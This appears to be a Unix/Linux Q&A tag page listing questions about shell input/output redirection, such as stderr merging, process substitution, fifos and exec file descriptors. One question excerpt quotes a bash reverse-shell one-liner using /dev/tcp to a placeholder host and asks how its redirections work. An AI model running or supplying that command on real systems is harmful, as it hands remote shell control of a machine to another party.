io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

0
votes
3answers
197 views

What do the `echo $?` and `ls >> $File 2>&1` commands do?

Can someone help me with understanding this. echo $? -- I know it outputs a variable of some kind... and this ls >> $File 2>&1 ---- can someone explain what this does?
3
votes
1answer
79 views

Need Explanation For Multiple Arguments And Input Redirection With Cat

Files along with their contents:- ~$cat a aaa aaa aaa ~$cat b bbb bbb bbb ~$cat c ccc ccc ccc Commands that I need explanation:- ~$cat 0< a aaa aaa aaa ~$cat 0< a b bbb bbb bbb ~$cat 0< a ...
2
votes
1answer
72 views

Process substitution and cat: can't read stdin

The process substitution <(cat) doesn't work. Why? head <(cat) cat: -: Input/output error I can use an extra file descriptor, but I don't understand why the above doesn't work. # Using file ...
0
votes
1answer
86 views

Cron to find exec cp and redirect output with time / date per line?

I try to setup a cron task to run a set of basic shell commands. I need to look to any files created on the last day, then copy to another folder and generate a log stating, line by line, the date ...
0
votes
1answer
180 views

How to resolve this “ambiguous redirect”

I have a script with a function in it: function install_log() { echo "$1" >> $INSTALL_LOG_OUTPUT 2>&1 } This function is working as it should. It is a function to write something ...
0
votes
0answers
28 views

Redirecting output of a pipe to a file [duplicate]

I'm executing the following command blkcat /dev/sdg3 0 724566015 | grep -n 'USE `.*`;' that produces output on screen. If I type that command: blkcat /dev/sdg3 0 724566015 | grep -n 'USE `.*`;' &...
0
votes
0answers
35 views

run command line contains redirection >> inside Guest VM

Another alternative of running ls -l /home for example in Guest VM called myvm ,is to run on the host the following command : vboxmanage --nologo guestcontrol myvm --username root --password xxxx ...
2
votes
2answers
91 views

For input redirection, are there functional differences between bash/zsh <<<“$(<file)” and the traditional <file?

I'm asking only about the usage which would have the similar effect as traditional input redirection from a file. <<<"$(<file)" as far as I can tell is equivalent to <file It ...
5
votes
2answers
143 views

Why process does not (seem to) exist before fifo read

I have a trivial Python script: #!/usr/bin/python import os, sys sys.stderr.write('I am %s' % os.getpid()) sys.stderr.flush() print "hello" sys.stderr.write('I am done') When I run this script ...
0
votes
2answers
352 views

how to redirect output of ssh to a file

I want to make ssh connection to my server but I don't want to enter password. I want to save output to a file like so: $ ssh root@x.x.x.x -p 22 1>output 2>&1 but when I run it the output ...
10
votes
2answers
778 views

How to redirect the output of a command to an already existing file without deleting its contents? [duplicate]

I am making a backup of some files and am creating a checksum file, checksums.txt, to later check the integrity of my data. However pasting each checksum manually into the file is inconvenient since ...
3
votes
2answers
60 views

can not access standard output from a command

I'm using this command format: cmd0 > >(cmd1) 2> >(cmd2) Cmd2 needs to echo data back to zenity as it processes some data, but zenity never hears the echos. It seems the echos are lost ...
4
votes
3answers
85 views

redirecting script variable to log file without losing stderr

When setting "set -x" inside bash script, or if you run your script with bash -x, you will get all the arguments printed to the screen together with the stdout. Is it possible to have stderr and ...
0
votes
1answer
119 views

Redirect all output with prompt to a file

What is the shortest way to redirect: $PROMPT, last executed command, stdout and stderr into single file? Of course, we might use &> to redirect stdout and stderr into single file and then add ...
11
votes
4answers
388 views

Program output redirection

When trying to redirect program output with the "some number greater than" syntax (eg foo 2> myfile), what are the possible numbers here and what do they represent? I believe 1 is /dev/stdout, 2 ...
8
votes
3answers
512 views

Command redirection to multiple files: command >file1 >file2 [duplicate]

I have this command: cat somefile >file1 >file2 After I executed this command I can't figure out why file1 has nothing in it. It should have the output of the first file (somefile), but ...
4
votes
2answers
149 views

Bash : understanding I/O redirection

I was searching a way to get a reverse shell in bash, when I found this: bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1 As I understand, stdout and stderr are sent through the connection(/...
0
votes
1answer
74 views

Redirect command output to /dev/null

How can we redirect output of command to /dev/null? I tried it with: command > /dev/null But it didn't work.
2
votes
1answer
257 views

How to output files to another directory (Poppler - pdftotext)

I have a directory with a very large number of PDFs that I am converting to *.txt documents with Poppler pdftotext. I have the following command that does the conversion of all the files. for f in ...
0
votes
0answers
105 views

Stop stdout log being clipped (by heroku-local)

I run heroku local with the Procfile: web: start-nginx gunicorn -c gunicorn.conf.py app:app start-nginx does some environment setup, and then ends with: { nginx --some-params & $@ ; } the ...
0
votes
1answer
61 views

Why is the redirection of loop output dependent on the filename?

I have two files: a.csv and b.csv: echo $'a_header\na1' > a.csv echo $'b_header\nb1' > b.csv Now I want to remove the first line from each, and concatenate them. for file in `ls *.csv`; do ...
3
votes
1answer
77 views

Dash exec redirection error

This: set -x rm -f p; mkfifo p exec 99<>p succeeds in bash but fails ("99 not found") in dash. How do I get it to work in dash?
2
votes
2answers
53 views

Shellcheck complains that I should not to read and write the same file in the same pipeline

ShellCheck show the following error for this line of code: printf '%d' $(($(< "$1") + 1)) > "$1" Make sure not to read and write the same file in the same pipeline Is this really a problem? ...
0
votes
1answer
46 views

Is it ever possible for command redirection to HDD to fail?

I'm using Xubuntu 15.04, and sometimes have this really strange problem, originating from a XeLaTeX run. When using this typesetting system, the following system command is executed: uname -s > &...
20
votes
3answers
2k views

What does `<&-` do?

I copied a snippet of Bash to background an ssh command executed remotely: ssh user@remote <<CMD some process <&- >log 2>error & CMD What does <&- do? My guess is ...
0
votes
1answer
52 views

passing output of a program (samtools) to another program (bamToBed) fails

How should I pass output of one command to another program like this: samtools view -bf 0x2 p1163.novo.tier2.bam | bamToBed -i stdin | coverageBed -a stdin -b genes.bed But the stdin does not work ...
-1
votes
2answers
115 views

How do I Capture dd command output

I have a test script, which is used to estimate the filesize for a particular oracle export dumpfile. Content of the script is: mknod exp.pipe p dd if=exp.pipe of=/dev/null bs=1024 & exp ...
3
votes
2answers
44 views

Command substitution as target for I/O redirection

I was trying to have the output of a command as a target of redirection like this: echo .envrc >> $(git config --global core.excludesfile) But I get this error instead, where ~/....
0
votes
3answers
400 views

C++: How to redirect from a file to cin and display as if user typed the input

I have a simple C++ program that uses cin to read eight numbers, and I'm running it in a bash shell. When I run it in the terminal, it looks like this (the user types in the numbers 1-8): ./add8 ...
2
votes
2answers
24 views

Sub Shell Redirection Error With Variable ( while … ) $3 > $testdir/$testfile.log

My scripts executes the sub shell command along the lines of: ( while ..... ) $3>$testdir/$testfile.log I get the error: line 75: syntax error near unexpected token `$3' line 75: ` ) $3>$...
0
votes
2answers
76 views

Printing on “standard out” and “standard error”

I'm puzzled over some terminology used in my homework: So, the way I understand the question is that I should print echo, cat, etc., which I would do like with the echo command, for example echo ...
0
votes
1answer
50 views

safe way to redirect some output using exec

I have a script that is rather "noisy". I've been asked to clean up the output so that most of the script's output goes to a log file, and the user just sees the start-up message, and the message when ...
1
vote
1answer
111 views

How to know if output is being redirected to a file? [duplicate]

I am working on displaying output like ls command (just ls, no options). And I have a working program using the system calls. But I experienced a strange behavior while testing as shown below. $ ls ...
1
vote
1answer
184 views

Can't redirect cut output

When I try to redirect the output of cut it always seems to be empty. If don't redirect it, the output shows in terminal as expected. This is true for OS X 10.10 and Linux 4.1.6. This works: root@...
23
votes
3answers
743 views

What does 'exec {fd}</dev/watchdog' do in Bash

That is literal, {fd} isnt a placeholder. I have a script that does this, and does not source in anything, nor does it reference {fd} anywhere else. Is this valid bash? exec {fd}</dev/watchdog
0
votes
1answer
31 views

Having extra parameters in piping or redirection

I have two programs and I want to pipe them into each other but they take extra parameters: prog1 <inputfile> <outputfile> min max prog2 <inputfile> <outputfile> min max ...
26
votes
5answers
2k views

Why pipe to cat only to redirect? [duplicate]

I occasionally see things like: cat file | wc | cat > file2 Why do this? When will the results (or performance) differ (favourably) from simply: cat file | wc > file2
3
votes
1answer
343 views

Executing awk on each file found with find, then redirecting the result to a new filename

I am trying to take the results from find and then execute awk to print the first two columns. Then I want to redirect those results to a new file name for each file, using the existing file name with ...
4
votes
1answer
121 views

Capture output without redirection and leave it on terminal too

I need to capture output of a daemon that also includes a on-demand mode and behaves differently depending on if output goes to tty or not. Just redirecting stdout anywhere makes it go into logging ...
0
votes
1answer
133 views

Sort file “foo” and use redirection “>” to save output into the same “foo” file [duplicate]

i have a text file ~/foo: a b c a b c i use sort foo -u, and that works correctly. I can use redirection operator ">" to save output into other file (f.e.: sort foo -u > bar), but when i want to ...
4
votes
2answers
363 views

Linux init script what does 0<&- &> achieve

I looking into writing my own init.d scripts to control several services running on my Linux server. I came across an example online which contained: nohup $EXEC_SCRIPT 0<&- &> $...
1
vote
2answers
392 views

run command with sudo su in script and redirect stdin and stdout

I need to run command as another user and write to its stdin and read from its stdout. I can run command as another user only via opening new shell: sudo su anotheruser but with new opened shell i ...
5
votes
2answers
62 views

posix placement of stdin redirection (<in cmd vs cmd <in)

I always write stdin redirection after the command, because for me it's more natural to have first the command and then the redirections (if any): some-command < input-file > output-file For ...
4
votes
2answers
171 views

Capturing output/redirection of commands chained by &&

I have a series of commands a,b,c which I am chaining together with &&: a && b && c. I want to catch the output of all the commands to both stdout and stderr. a && b &...
6
votes
1answer
117 views

Extra output on input redirection

I have a folder with three files: $ ls a b c If I pipe the output of ls to wc, I get the right result: $ ls | wc -l 3 However, when I specify the input to wc as the output of ls, I get extra ...
4
votes
1answer
162 views

Pass BASH array to diff like file contents

I have two bash arrays, say: arr1=( 1 2 3 ) arr2=( 1 2 A ) and I want to compare them using diff. How could I pass the arrays as if they were the contents of a file? I tried a few variations, but ...
2
votes
1answer
61 views

Do not wait until the return for Shell redirection

I would like to redirect the output of a script (Python or any other kind) to a file. Easy to do with > or >>. But with these two the output seems to be written in the file only once the script ...
5
votes
3answers
797 views

Behaviour of “|” pipe in linux with “>” output redirection

I am executing command ls > a.txt | sort > b.txt This command is doing the below things : executing ls sorting it creating a.txt and storing sorted output to a.txt creating b.txt , but its ...
0
votes
0answers
92 views

How to enter username and password automatically in jrerun command?

jrerun is a command belongs to IBM Process Manager tool. This command will re-run the failed job. I want to create a script that re-runs automatically if it fails before 1 hour from start time. The ...
2
votes
1answer
48 views

Terminal - redirection of output to file is shortened

I am using command: ./cpp-generator > ~/log.log But when I open the log.log the file is shortened. It ends in the middle of a word. But if I run just: ./cpp-generator in terminal, the result ...